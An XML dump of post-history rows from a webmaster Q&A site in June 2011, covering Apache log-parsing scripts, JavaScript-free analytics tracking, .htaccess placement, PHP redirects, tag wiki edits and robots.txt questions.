  <row Id="35894" PostHistoryTypeId="2" PostId="15229" RevisionGUID="c6b4a53f-7dbb-4fbd-81cf-bf90ca446ecd" CreationDate="2011-06-13T10:13:26.387" UserId="8155" Text="Been trying for a while to get this script fully working I think I'm nearly there. &#xD;&#xA;&#xD;&#xA;Ok so I basically need the script to show 3 things, email address - Browser type -  Time logged in. &#xD;&#xA;&#xD;&#xA;    EMAILS='/home/user/emaillist.txt'&#xD;&#xA;    MAIL=$EMAILS&#xD;&#xA;    while read MAIL;&#xD;&#xA;    do&#xD;&#xA;    grep -f $EMAILS /var/log/apache2/ssl_access.log&gt;&gt;/home/user/test.txt&#xD;&#xA;    done &lt; $EMAILS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need some way of first using the todays date in here so it only searches the apache logs for that data. I was thinking about using the linux date  +&quot;[%d/%b/%Y&quot; command in the script as this will match the correct date formate. &#xD;&#xA;&#xD;&#xA;The other aspect is that I only need the output to show the user's email address | Browser type and date from apache nothing else. &#xD;&#xA;&#xD;&#xA;HELP please " />
  <row Id="35895" PostHistoryTypeId="1" PostId="15229" RevisionGUID="c6b4a53f-7dbb-4fbd-81cf-bf90ca446ecd" CreationDate="2011-06-13T10:13:26.387" UserId="8155" Text="Apache log analytic's" />
  <row Id="35896" PostHistoryTypeId="3" PostId="15229" RevisionGUID="c6b4a53f-7dbb-4fbd-81cf-bf90ca446ecd" CreationDate="2011-06-13T10:13:26.387" UserId="8155" Text="&lt;apache&gt;&lt;looking-for-a-script&gt;&lt;linux&gt;&lt;server-side-scripting&gt;" />
  <row Id="35897" PostHistoryTypeId="2" PostId="15230" RevisionGUID="2c16958b-54f2-4928-8d78-f07f9b559ded" CreationDate="2011-06-13T10:29:03.730" UserId="8213" Text="Is it possible to track Google Analytics on my site, when JavaScript is not available?" />
  <row Id="35898" PostHistoryTypeId="1" PostId="15230" RevisionGUID="2c16958b-54f2-4928-8d78-f07f9b559ded" CreationDate="2011-06-13T10:29:03.730" UserId="8213" Text="The simplest way to track Google Analytics without JavaScript?" />
  <row Id="35899" PostHistoryTypeId="3" PostId="15230" RevisionGUID="2c16958b-54f2-4928-8d78-f07f9b559ded" CreationDate="2011-06-13T10:29:03.730" UserId="8213" Text="&lt;google-analytics&gt;" />
  <row Id="35900" PostHistoryTypeId="2" PostId="15231" RevisionGUID="7eef886a-5db4-4d01-9a71-a33515a7071d" CreationDate="2011-06-13T11:07:04.507" UserId="8154" Text="We have been using gnump3d as the music server for some 3 years in our college. But as of now the development of it has stopped and it is not that much reliable anymore, as it crashes whenever the server is restarted. Is there any other open source Music servers that can be used?" />
  <row Id="35901" PostHistoryTypeId="1" PostId="15231" RevisionGUID="7eef886a-5db4-4d01-9a71-a33515a7071d" CreationDate="2011-06-13T11:07:04.507" UserId="8154" Text="Suggestions on a Music Server" />
  <row Id="35902" PostHistoryTypeId="3" PostId="15231" RevisionGUID="7eef886a-5db4-4d01-9a71-a33515a7071d" CreationDate="2011-06-13T11:07:04.507" UserId="8154" Text="&lt;server&gt;&lt;open-source&gt;&lt;music&gt;" />
  <row Id="35903" PostHistoryTypeId="2" PostId="15232" RevisionGUID="f1f6b3a1-f44b-4395-946e-b216d91965cc" CreationDate="2011-06-13T11:37:56.733" UserId="8213" Text="Is there any free web analytics/tracking service that can work without JavaScript on client side?" />
  <row Id="35904" PostHistoryTypeId="1" PostId="15232" RevisionGUID="f1f6b3a1-f44b-4395-946e-b216d91965cc" CreationDate="2011-06-13T11:37:56.733" UserId="8213" Text="Any free web analytics/tracking services without JavaScript?" />
  <row Id="35905" PostHistoryTypeId="3" PostId="15232" RevisionGUID="f1f6b3a1-f44b-4395-946e-b216d91965cc" CreationDate="2011-06-13T11:37:56.733" UserId="8213" Text="&lt;analytics&gt;&lt;tracking&gt;&lt;website-analytics-tools&gt;" />
  <row Id="35906" PostHistoryTypeId="5" PostId="15091" RevisionGUID="98ab5e1f-169d-42ef-a064-f44ebc3a237d" CreationDate="2011-06-13T11:38:22.270" UserId="1643" Comment="added 8 characters in body" Text="    for i in `ls emaildir/*@*`&#xD;&#xA;    do&#xD;&#xA;    grep $i logfile | grep '\['`date +%d/%b/%Y` | awk -F\&quot; '{print $6}' &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Where emaildir is the directory of files containing email addresses and logfile is the apache logfile.&#xD;&#xA;" />
  <row Id="35908" PostHistoryTypeId="2" PostId="15234" RevisionGUID="49ac0dfb-fa79-4d90-9b60-43eb32183892" CreationDate="2011-06-13T11:56:41.873" UserId="1253" Text="It can be done. All Google Analytics seems to do is ultimately request an image file with analytic data appended to the URL. You can call that URL directly from your PHP or other server side code to [achieve the same effect][1].&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vdgraaf.info/google-analytics-without-javascript.html" />
  <row Id="35910" PostHistoryTypeId="25" PostId="15230" RevisionGUID="43db5c80-b193-448c-bb49-e87fb3f87ad2" CreationDate="2011-06-13T12:20:32.127" Comment="http://twitter.com/#!/StackWebmasters/status/80248179475488768" />
  <row Id="35911" PostHistoryTypeId="5" PostId="15192" RevisionGUID="c0f270f5-6af8-49c6-a9fa-039f67a1e0e4" CreationDate="2011-06-13T12:25:07.490" UserId="6901" Comment="added 388 characters in body" Text="A HTTP status code that states that the document the user was trying to access has been moved permanently. 301-redirects are also accompanied by a redirect.&#xD;&#xA;&#xD;&#xA;To make a 301 redirect in php, use the following code:&#xD;&#xA;&#xD;&#xA;    &lt;?&#xD;&#xA;    Header( &quot;HTTP/1.1 301 Moved Permanently&quot; );&#xD;&#xA;    Header( &quot;Location: http://www.new-url.com&quot; );&#xD;&#xA;    ?&gt; &#xD;&#xA;&#xD;&#xA;(remember: place this code before the `&lt;html&gt;` tag." />
  <row Id="35912" PostHistoryTypeId="24" PostId="15192" RevisionGUID="c0f270f5-6af8-49c6-a9fa-039f67a1e0e4" CreationDate="2011-06-13T12:25:07.490" Comment="Proposed by 6901 approved by -1 edit id of 383" />
  <row Id="35913" PostHistoryTypeId="5" PostId="15192" RevisionGUID="742067c9-6bc7-4e30-926e-d12ed14b5540" CreationDate="2011-06-13T12:25:08.333" UserId="108" Comment="deleted 232 characters in body" Text="A HTTP status code that states that the document the user was trying to access has been moved permanently. 301-redirects are also accompanied by a redirect." />
  <row Id="35914" PostHistoryTypeId="5" PostId="15193" RevisionGUID="59b7ff76-8278-4b82-b038-681d0733cf14" CreationDate="2011-06-13T12:25:53.573" UserId="6901" Comment="added 156 characters in body" Text="A HTTP status code that states that the document the user was trying to access has been moved permanently. 301-redirects are also accompanied by a redirect." />
  <row Id="35915" PostHistoryTypeId="24" PostId="15193" RevisionGUID="59b7ff76-8278-4b82-b038-681d0733cf14" CreationDate="2011-06-13T12:25:53.573" Comment="Proposed by 6901 approved by 108 edit id of 384" />
  <row Id="35916" PostHistoryTypeId="5" PostId="15196" RevisionGUID="5ac4705b-e5f2-48c0-8d74-b36a0fce30ae" CreationDate="2011-06-13T12:26:00.093" UserId="6901" Comment="added 132 characters in body" Text="403 is a HTTP status code that tells the user/application that they do not have permission to access the requested document/webpage." />
  <row Id="35917" PostHistoryTypeId="24" PostId="15196" RevisionGUID="5ac4705b-e5f2-48c0-8d74-b36a0fce30ae" CreationDate="2011-06-13T12:26:00.093" Comment="Proposed by 6901 approved by 108 edit id of 387" />
  <row Id="35918" PostHistoryTypeId="5" PostId="15197" RevisionGUID="69bc4461-93d3-47a7-90fd-6d1548bac2d0" CreationDate="2011-06-13T12:26:08.813" UserId="6901" Comment="added 132 characters in body" Text="403 is a HTTP status code that tells the user/application that they do not have permission to access the requested document/webpage." />
  <row Id="35919" PostHistoryTypeId="24" PostId="15197" RevisionGUID="69bc4461-93d3-47a7-90fd-6d1548bac2d0" CreationDate="2011-06-13T12:26:08.813" Comment="Proposed by 6901 approved by 108 edit id of 388" />
  <row Id="35920" PostHistoryTypeId="5" PostId="15205" RevisionGUID="29e80678-ae95-4172-8b94-ce4ff706a9b1" CreationDate="2011-06-13T12:26:44.353" UserId="6901" Comment="added 633 characters in body" Text="An anti-spam technique that was developed to block robots from spamming a site. CAPTCHA works by asking the user to answer a question or solve a problem that computers were supposedly incapable of solving but humans were.&#xD;&#xA;&#xD;&#xA;Types of CAPTCHA include:&#xD;&#xA;&#xD;&#xA; 1. Asking the user to read a bit of&#xD;&#xA;    hard to read text in an image.&#xD;&#xA; 2. Asking the user to solve a math&#xD;&#xA;    problem (such as &quot;what is 2 + 2&quot;).&#xD;&#xA; 3. Asking the user to answer a question&#xD;&#xA;    (such as &quot;what is the name of this&#xD;&#xA;    site?&quot;).&#xD;&#xA;&#xD;&#xA;Robots have gotten better at reading text in images over the years, which is why some people advocate using option 2 or 3 instead." />
  <row Id="35921" PostHistoryTypeId="24" PostId="15205" RevisionGUID="29e80678-ae95-4172-8b94-ce4ff706a9b1" CreationDate="2011-06-13T12:26:44.353" Comment="Proposed by 6901 approved by 108 edit id of 395" />
  <row Id="35922" PostHistoryTypeId="5" PostId="15206" RevisionGUID="e5d61ce2-40c4-4dbf-b5ee-4433e3793250" CreationDate="2011-06-13T12:27:03.790" UserId="6901" Comment="added 265 characters in body" Text="An anti-spam technique that was developed to block robots from spamming a site. CAPTCHA works by asking the user to answer a question or solve a problem (such as reading a bit of text in an image) that computers were supposedly incapable of solving but humans were." />
  <row Id="35923" PostHistoryTypeId="24" PostId="15206" RevisionGUID="e5d61ce2-40c4-4dbf-b5ee-4433e3793250" CreationDate="2011-06-13T12:27:03.790" Comment="Proposed by 6901 approved by 108 edit id of 396" />
  <row Id="35924" PostHistoryTypeId="5" PostId="15201" RevisionGUID="cce63191-a57b-4ca1-b2b8-d54d30b583d0" CreationDate="2011-06-13T12:27:08.877" UserId="6901" Comment="added 57 characters in body" Text="A popular version control system. See http://git-scm.com/" />
  <row Id="35925" PostHistoryTypeId="24" PostId="15201" RevisionGUID="cce63191-a57b-4ca1-b2b8-d54d30b583d0" CreationDate="2011-06-13T12:27:08.877" Comment="Proposed by 6901 approved by 108 edit id of 391" />
  <row Id="35926" PostHistoryTypeId="5" PostId="15202" RevisionGUID="d2ecb97b-483d-4d47-94bf-43e131a4410d" CreationDate="2011-06-13T12:27:12.697" UserId="6901" Comment="added 33 characters in body" Text="A popular version control system." />
  <row Id="35927" PostHistoryTypeId="24" PostId="15202" RevisionGUID="d2ecb97b-483d-4d47-94bf-43e131a4410d" CreationDate="2011-06-13T12:27:12.697" Comment="Proposed by 6901 approved by 108 edit id of 392" />
  <row Id="35928" PostHistoryTypeId="5" PostId="15194" RevisionGUID="5ca98970-6c4a-4f56-8c91-f295100c594b" CreationDate="2011-06-13T12:27:25.257" UserId="6901" Comment="added 148 characters in body" Text="HTTP Stands for &quot;Hyper Text Transfer Protocol&quot;, and is the protocol that applications use to access documents/webpages/data from the world wide web." />
  <row Id="35929" PostHistoryTypeId="24" PostId="15194" RevisionGUID="5ca98970-6c4a-4f56-8c91-f295100c594b" CreationDate="2011-06-13T12:27:25.257" Comment="Proposed by 6901 approved by 108 edit id of 385" />
  <row Id="35930" PostHistoryTypeId="17" PostId="15235" RevisionGUID="e297e45e-f243-441d-88c4-df6ea45abac6" CreationDate="2011-06-13T12:51:01.520" UserId="-1" Comment="from http://stackoverflow.com/questions/6329088/where-do-i-create-the-file-htaccess-in-order-to-serve-my-html5-cache-manifest-f" Text="" />
  <row Id="35931" PostHistoryTypeId="17" PostId="15236" RevisionGUID="e899e652-1624-411c-86cb-f565a67c5585" CreationDate="2011-06-13T12:51:01.520" UserId="-1" Comment="from http://stackoverflow.com/questions/6329088/where-do-i-create-the-file-htaccess-in-order-to-serve-my-html5-cache-manifest-f" Text="" />
  <row Id="35932" PostHistoryTypeId="17" PostId="15237" RevisionGUID="eb1b30db-d3f2-4c4e-a91d-abdf54772fe6" CreationDate="2011-06-13T12:51:01.520" UserId="-1" Comment="from http://stackoverflow.com/questions/6329088/where-do-i-create-the-file-htaccess-in-order-to-serve-my-html5-cache-manifest-f" Text="" />
  <row Id="35933" PostHistoryTypeId="2" PostId="15236" RevisionGUID="03ca1c75-a65d-43ac-a53e-10ac49c2a224" CreationDate="2011-06-13T10:16:54.907" UserId="5061" Text="Typically, in the root directory of your application, you'll have 3 files:&#xD;&#xA;&#xD;&#xA; - index.html (`&lt;html manifest=&quot;app.manifest&quot;&gt;...&lt;/html&gt;`).&lt;br/&gt;&#xD;&#xA;   This can also be auto-generated with a server-side language such as php, jsp, Ruby ...&#xD;&#xA; - app.manifest (`CACHE MANIFEST ...`)&#xD;&#xA; - .htaccess (`AddType text/cache-manifest .manifest`)&#xD;&#xA;" />
  <row Id="35934" PostHistoryTypeId="2" PostId="15237" RevisionGUID="0acb9841-ca9d-450d-bdc8-ddf6a1732290" CreationDate="2011-06-13T10:25:14.530" UserId="5137" Text="you can add .htaccess in any directory and the .htaccess in the child directory will enjoy the precidence over .htaccess in the parent directory." />
  <row Id="35935" PostHistoryTypeId="2" PostId="15235" RevisionGUID="5ac12b05-8679-4338-8f13-a11252004e78" CreationDate="2011-06-13T10:11:26.017" UserDisplayName="Forrest" Text="In the post of http://diveintohtml5.org/offline.html&#xD;&#xA;&#xD;&#xA;&gt; Your cache manifest file can be&#xD;&#xA;&gt; located anywhere on your web server,&#xD;&#xA;&gt; but it must be served with the content&#xD;&#xA;&gt; type text/cache-manifest. If you are&#xD;&#xA;&gt; running an Apache-based web server,&#xD;&#xA;&gt; you can probably just put an AddType&#xD;&#xA;&gt; directive in the .htaccess file at the&#xD;&#xA;&gt; root of your web directory:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     AddType text/cache-manifest .manifest&#xD;&#xA;&#xD;&#xA;Where do I create the file .htaccess?&#xD;&#xA;&#xD;&#xA;Need some more setup with apachectl ?&#xD;&#xA;&#xD;&#xA;Thanks very much !&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35936" PostHistoryTypeId="1" PostId="15235" RevisionGUID="5ac12b05-8679-4338-8f13-a11252004e78" CreationDate="2011-06-13T10:11:26.017" UserDisplayName="Forrest" Text="Where do I create the file .htaccess, in order to serve my HTML5 cache manifest file correctly?" />
  <row Id="35937" PostHistoryTypeId="3" PostId="15235" RevisionGUID="5ac12b05-8679-4338-8f13-a11252004e78" CreationDate="2011-06-13T10:11:26.017" UserDisplayName="Forrest" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;html5&gt;" />
  <row Id="35938" PostHistoryTypeId="2" PostId="15238" RevisionGUID="bc087eb0-f889-42ac-a587-6685f36888ed" CreationDate="2011-06-13T13:19:02.683" UserId="8222" Text="You can configure histats.com to do so !&#xD;&#xA;&#xD;&#xA;Get an account and create an hidden tracker.&#xD;&#xA;&#xD;&#xA;Now click the no Javascript tag and paste it onto your website !&#xD;&#xA;&#xD;&#xA;![enter image description here][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Wu6rh.png" />
  <row Id="35939" PostHistoryTypeId="2" PostId="15239" RevisionGUID="0b9834b2-e717-4132-bab1-326c21d25694" CreationDate="2011-06-13T13:33:24.400" UserId="8254" Text="Also try, both under `&lt;system.webServer&gt;` :&#xD;&#xA;&#xD;&#xA;    &lt;validation validateIntegratedModeConfiguration=&quot;false&quot;/&gt;&#xD;&#xA;&#xD;&#xA;else it won't work because the Reporting Services handler invalidates this mode. then under `&lt;handlers&gt;`&#xD;&#xA;&#xD;&#xA;    &lt;add name=&quot;Reserved-ReportViewerWebControl-axd&quot; path=&quot;Reserved.ReportViewerWebControl.axd&quot; verb=&quot;*&quot; type=&quot;Microsoft.Reporting.WebForms.HttpHandler, Microsoft.ReportViewer.WebForms, Version=9.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Obv substituting the above for your version 8. You will also have to uncomment what you did as it will expect it to be there. Old versions of Reporting Services handler are not really IIS7 aware.&#xD;&#xA;&#xD;&#xA;Basically the handler needs to be registered in the IIS7 part of the web.config as well as the &quot;classic&quot; part." />
  <row Id="35940" PostHistoryTypeId="2" PostId="15240" RevisionGUID="e76166ff-4bb5-453d-b8c4-98007c591807" CreationDate="2011-06-13T14:36:58.097" UserId="8009" Text="Just google for a free web host that supports using your own domain name. Not sure how the hosting cost can be killing you though, most domains are more expensive than the cost of hosting nowadays unless your site is something special. :P" />
  <row Id="35941" PostHistoryTypeId="2" PostId="15241" RevisionGUID="8a4da847-df40-4a2b-b7dc-a070f77f4d05" CreationDate="2011-06-13T14:37:51.957" UserId="7628" Text="It is definitely possible to convert an existing site over. However, while SquareSpace does host the site, they don't host databases.&#xD;&#xA;&#xD;&#xA;What that means is even if you move to SquareSpace, you'll still need to host your own customer database. So, you won't loose any customer data at all, since on the back end your database will be the same on you're using now.&#xD;&#xA;&#xD;&#xA;What SquareSpace can do for an existing site is give it a really nice front-end editor for layout, etc. If you want to try it out, you can always use the free trial for 14 days, play around with it, and see if it will work for you." />
  <row Id="35942" PostHistoryTypeId="5" PostId="15241" RevisionGUID="06b1a365-a6b5-48b4-b32e-2f4cd5d18e6f" CreationDate="2011-06-13T14:44:24.687" UserId="7628" Comment="added 1 characters in body" Text="It is definitely possible to convert an existing site over. However, while SquareSpace does host the site, they don't host databases.&#xD;&#xA;&#xD;&#xA;What that means is even if you move to SquareSpace, you'll still need to host your own customer database. So, you won't loose any customer data at all, since on the back end your database will be the same one you're using now.&#xD;&#xA;&#xD;&#xA;What SquareSpace can do for an existing site is give it a really nice front-end editor for layout, etc. If you want to try it out, you can always use the free trial for 14 days, play around with it, and see if it will work for you." />
  <row Id="35943" PostHistoryTypeId="2" PostId="15242" RevisionGUID="2a4bd4bf-ec47-4ebf-8235-be69789dc70e" CreationDate="2011-06-13T14:56:32.330" UserId="8256" Text="The decision largely depends on your client base. My company makes websites, and our framework which has been in development for nearly 5 years has very good support for IE6. However, approximately 1 year ago we stopped supporting IE6 for new projects. That's not to say we broke IE6 support, but rather we no longer specially test that browser. Only 1 client ever complained, and the complaint was &quot;our IT department will not let us upgrade, so therefore our website cannot be used properly in-house.&quot; We fixed the issues for that client and they were very happy having a website they could actually use.&#xD;&#xA;&#xD;&#xA;We now only support IE6 (read: &quot;old browsers&quot;) if the client really needs it, but we first explain why upgrading is better (many people still don't know!) and look for reasons they should upgrade (your website cannot have feature X if you require us to support browser Y). Our official policy is to support major browsers at current versions, previous versions, previous previous versions upon request, and deny everything else that makes the job unreasonable.&#xD;&#xA;&#xD;&#xA;Now that Google is joining in, the argument just got a lot easier. It is still your choice about when to drop support for older browsers, but I would suggest you use Google's position to your advantage." />
  <row Id="35951" PostHistoryTypeId="2" PostId="15245" RevisionGUID="31671067-683d-4c6e-becf-16cbf6b54a32" CreationDate="2011-06-13T15:19:09.863" UserId="4502" Text="Google Analytics has a &lt;a href=&quot;http://code.google.com/mobile/analytics/docs/web/&quot;&gt;document&lt;/a&gt; with server-side code snippets in several languages. It says it's for mobile use, but the actually important bit is that it's for situations where the browser may not support Javascript.&#xD;&#xA;&#xD;&#xA;As for other services, a lot of their code comes in this general format:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;[Javascript URL]&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;        &lt;a href=&quot;[http://example.com]&quot;&gt;&lt;img src=&quot;[URL for tracking pixel]&quot;/&gt;&lt;/a&gt;&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;Just rip out and use *only* the stuff inside the noscript tag.    &#xD;&#xA;&lt;a href=&quot;http://www.sitemeter.com/&quot;&gt;Site Meter&lt;/a&gt; provides it right on the same  page as the usual JS snippet. &#xD;&#xA;&#xD;&#xA;The data you collect will be limited, though, compared to what the JS can get you.&#xD;&#xA;" />
  <row Id="35952" PostHistoryTypeId="25" PostId="15235" RevisionGUID="6abb4a99-c66d-4ddd-b3bd-2d18897dc127" CreationDate="2011-06-13T15:20:32.907" Comment="http://twitter.com/#!/StackWebmasters/status/80293481632899073" />
  <row Id="35953" PostHistoryTypeId="5" PostId="15195" RevisionGUID="3b9beaa3-23df-46fe-a0a2-038e30b6fca4" CreationDate="2011-06-13T15:22:21.197" UserId="6901" Comment="added 148 characters in body" Text="HTTP Stands for &quot;Hyper Text Transfer Protocol&quot;, and is the protocol that applications use to access documents/webpages/data from the world wide web." />
  <row Id="35954" PostHistoryTypeId="24" PostId="15195" RevisionGUID="3b9beaa3-23df-46fe-a0a2-038e30b6fca4" CreationDate="2011-06-13T15:22:21.197" Comment="Proposed by 6901 approved by 1253 edit id of 386" />
  <row Id="35955" PostHistoryTypeId="5" PostId="15198" RevisionGUID="fcb7e193-39b7-4574-81ae-fed08cbdf38b" CreationDate="2011-06-13T15:22:25.003" UserId="6901" Comment="added 151 characters in body" Text="A computer program that accesses web pages for various purposes (to scrape content, to provide search engines with information about your site, etc.). " />
  <row Id="35956" PostHistoryTypeId="24" PostId="15198" RevisionGUID="fcb7e193-39b7-4574-81ae-fed08cbdf38b" CreationDate="2011-06-13T15:22:25.003" Comment="Proposed by 6901 approved by 1253 edit id of 389" />
  <row Id="35957" PostHistoryTypeId="5" PostId="15184" RevisionGUID="ad33b630-dd0c-40a9-8ddf-53a49842b04f" CreationDate="2011-06-13T15:22:29.323" UserId="6901" Comment="added 67 characters in body" Text="A wiki is a CMS that allows anybody (or almost anybody) to edit it." />
  <row Id="35958" PostHistoryTypeId="24" PostId="15184" RevisionGUID="ad33b630-dd0c-40a9-8ddf-53a49842b04f" CreationDate="2011-06-13T15:22:29.323" Comment="Proposed by 6901 approved by 1253 edit id of 381" />
  <row Id="35959" PostHistoryTypeId="5" PostId="15199" RevisionGUID="181052d0-b43d-43da-8e2c-6b6572767b52" CreationDate="2011-06-13T15:22:28.450" UserId="6901" Comment="added 150 characters in body" Text="A computer program that accesses web pages for various purposes (to scrape content, to provide search engines with information about your site, etc.)." />
  <row Id="35960" PostHistoryTypeId="24" PostId="15199" RevisionGUID="181052d0-b43d-43da-8e2c-6b6572767b52" CreationDate="2011-06-13T15:22:28.450" Comment="Proposed by 6901 approved by 1253 edit id of 390" />
  <row Id="35961" PostHistoryTypeId="5" PostId="15185" RevisionGUID="31e5b811-a1aa-4457-8176-764b29350e29" CreationDate="2011-06-13T15:22:30.400" UserId="6901" Comment="added 67 characters in body" Text="A wiki is a CMS that allows anybody (or almost anybody) to edit it." />
  <row Id="35962" PostHistoryTypeId="24" PostId="15185" RevisionGUID="31e5b811-a1aa-4457-8176-764b29350e29" CreationDate="2011-06-13T15:22:30.400" Comment="Proposed by 6901 approved by 1253 edit id of 382" />
  <row Id="35963" PostHistoryTypeId="5" PostId="15203" RevisionGUID="154439d2-6135-4d5d-844f-a8e6fda65d6d" CreationDate="2011-06-13T15:22:31.523" UserId="6901" Comment="added 48 characters in body" Text="A search engine located at http://www.yahoo.com/" />
  <row Id="35964" PostHistoryTypeId="24" PostId="15203" RevisionGUID="154439d2-6135-4d5d-844f-a8e6fda65d6d" CreationDate="2011-06-13T15:22:31.523" Comment="Proposed by 6901 approved by 1253 edit id of 394" />
  <row Id="35965" PostHistoryTypeId="5" PostId="15204" RevisionGUID="5cedeb4e-d77a-4e6e-bf78-4c034e884567" CreationDate="2011-06-13T15:22:32.740" UserId="6901" Comment="added 48 characters in body" Text="A search engine located at http://www.yahoo.com/" />
  <row Id="35966" PostHistoryTypeId="24" PostId="15204" RevisionGUID="5cedeb4e-d77a-4e6e-bf78-4c034e884567" CreationDate="2011-06-13T15:22:32.740" Comment="Proposed by 6901 approved by 1253 edit id of 393" />
  <row Id="35967" PostHistoryTypeId="17" PostId="15246" RevisionGUID="7c3f8d6d-3618-4a02-9501-fcde2c96ee2b" CreationDate="2011-06-13T15:23:32.430" UserId="-1" Comment="from http://stackoverflow.com/questions/6331828/problem-with-login" Text="" />
  <row Id="35968" PostHistoryTypeId="2" PostId="15246" RevisionGUID="42a57533-5b2f-4806-b566-fbaebb4e3faf" CreationDate="2011-06-13T14:32:10.403" UserDisplayName="Luke" Text="This question is aimed at experience users who may have come across my problem and have some ideas on how to solve.&#xD;&#xA;&#xD;&#xA;I recently moved my website from one host to another.&#xD;&#xA;&#xD;&#xA;I moved all the files and also the database.&#xD;&#xA;&#xD;&#xA;Now when I try to log in, it just refreshes the page and nothing happens.&#xD;&#xA;&#xD;&#xA;I should make the point that data is being read from the database but I just can't log in!&#xD;&#xA;&#xD;&#xA;Anyone know why this might be? What extra information would you need?&#xD;&#xA;&#xD;&#xA;Thanks for reading." />
  <row Id="35969" PostHistoryTypeId="1" PostId="15246" RevisionGUID="42a57533-5b2f-4806-b566-fbaebb4e3faf" CreationDate="2011-06-13T14:32:10.403" UserDisplayName="Luke" Text="Problem with login" />
  <row Id="35970" PostHistoryTypeId="3" PostId="15246" RevisionGUID="42a57533-5b2f-4806-b566-fbaebb4e3faf" CreationDate="2011-06-13T14:32:10.403" UserDisplayName="Luke" Text="&lt;php&gt;&lt;mysql&gt;" />
  <row Id="35971" PostHistoryTypeId="2" PostId="15247" RevisionGUID="f9744be7-297d-4b2e-890c-2941ec81eb30" CreationDate="2011-06-13T15:33:51.363" UserId="1253" Text="Possible reasons:&#xD;&#xA;&#xD;&#xA;- The version of PHP or MySQL has changed and code that is either obsolete or dependent on a side effect of a function that has been fixed and no longer occurs is now broken or disabled&#xD;&#xA;&#xD;&#xA;- The login credentials for MySQL are different and your code does not output errors so the page just reloads.&#xD;&#xA;&#xD;&#xA;- You use [Register Globals][1] and the new server does not support it&#xD;&#xA;&#xD;&#xA;Recommendations for troubleshooting:&#xD;&#xA;&#xD;&#xA;- Turn [error reporting][2] on and output all errors&#xD;&#xA;&#xD;&#xA;- Put in simple checks for errors at all stages of the login process to see where it is failing particularly where the SQL queries are performed&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/security.globals.php&#xD;&#xA;  [2]: http://php.net/manual/en/errorfunc.configuration.php" />
  <row Id="35972" PostHistoryTypeId="2" PostId="15248" RevisionGUID="7cd698e2-154b-4c3b-97b8-a03a6a08b29c" CreationDate="2011-06-13T15:47:10.830" UserId="1643" Text="You can have all sort of fallback schemes with domains, but the name of the DNS server that the domain registrar points to is the single point of failure. Not the actual server, but the server that they say is authoritative. So I'd pick a registrar that will compensate you if they make that sort of mistake.&#xD;&#xA;&#xD;&#xA;Having done that, you can then build in redundancy with nameservers, webservers and so on." />
  <row Id="35973" PostHistoryTypeId="2" PostId="15249" RevisionGUID="0a0e3484-99f7-436e-8508-76b7e555e0da" CreationDate="2011-06-13T15:57:07.530" UserId="7801" Text="Google checkout is really straight forward to use and setup. We used it for a large online store and it works well without problems." />
  <row Id="35974" PostHistoryTypeId="17" PostId="15250" RevisionGUID="ceca5ded-7fa4-4c66-93e6-69c5a570fe3e" CreationDate="2011-06-13T16:06:01.420" UserId="-1" Comment="from http://stackoverflow.com/questions/6332903/what-is-this-robots-txt-disallowing" Text="" />
  <row Id="35975" PostHistoryTypeId="2" PostId="15250" RevisionGUID="a9b6b336-4eb5-4ef5-b423-61ca6c0bca2a" CreationDate="2011-06-13T15:55:38.577" UserDisplayName="Brandon Ellis" Text="Robots.txt – It is currently disallowing “/” – GoogleBot image. &#xD;&#xA;&#xD;&#xA;Just curious what that is disallowing and if it’s important for search engines to index? You don’t want to restrict any search robots from indexing important pages.  Could somebody explain?" />
  <row Id="35976" PostHistoryTypeId="1" PostId="15250" RevisionGUID="a9b6b336-4eb5-4ef5-b423-61ca6c0bca2a" CreationDate="2011-06-13T15:55:38.577" UserDisplayName="Brandon Ellis" Text="What is this robots.txt disallowing?" />
  <row Id="35977" PostHistoryTypeId="3" PostId="15250" RevisionGUID="a9b6b336-4eb5-4ef5-b423-61ca6c0bca2a" CreationDate="2011-06-13T15:55:38.577" UserDisplayName="Brandon Ellis" Text="&lt;robots&gt;" />
  <row Id="35978" PostHistoryTypeId="2" PostId="15251" RevisionGUID="f311ef29-0800-431b-9783-d78e1f63b23a" CreationDate="2011-06-13T16:09:29.250" UserId="1643" Text="That means that Google will not index any images on that site." />
  <row Id="35979" PostHistoryTypeId="2" PostId="15252" RevisionGUID="a0783c0d-d90c-4ae3-b510-9f081f63f02d" CreationDate="2011-06-13T16:09:41.610" UserId="1253" Text="It's blocking Google from indexing their images. This is because they do not want their images coming up in Google's image search. They may have copyrighted images and don't want there images to be potentially used without their permission. " />
  <row Id="35980" PostHistoryTypeId="2" PostId="15253" RevisionGUID="8eb72497-eb9a-4060-856c-c21e12b56d68" CreationDate="2011-06-13T16:16:44.960" UserId="8138" Text="It's true, it is a bit dated.  &#xD;&#xA;I would say some of the core principles are the same though, so it isn't a total waste.&#xD;&#xA;&#xD;&#xA;Here is another [book that was written by Danny Dover](http://www.amazon.com/Search-Engine-Optimization-SEO-Secrets/dp/0470554185), an old SEOmoz employee (note: I work for SEOmoz) that just came out in approx January. It is pretty good and more current.&#xD;&#xA;&#xD;&#xA;I also think this guide is good:  &#xD;&#xA;http://www.seomoz.org/beginners-guide-to-seo" />
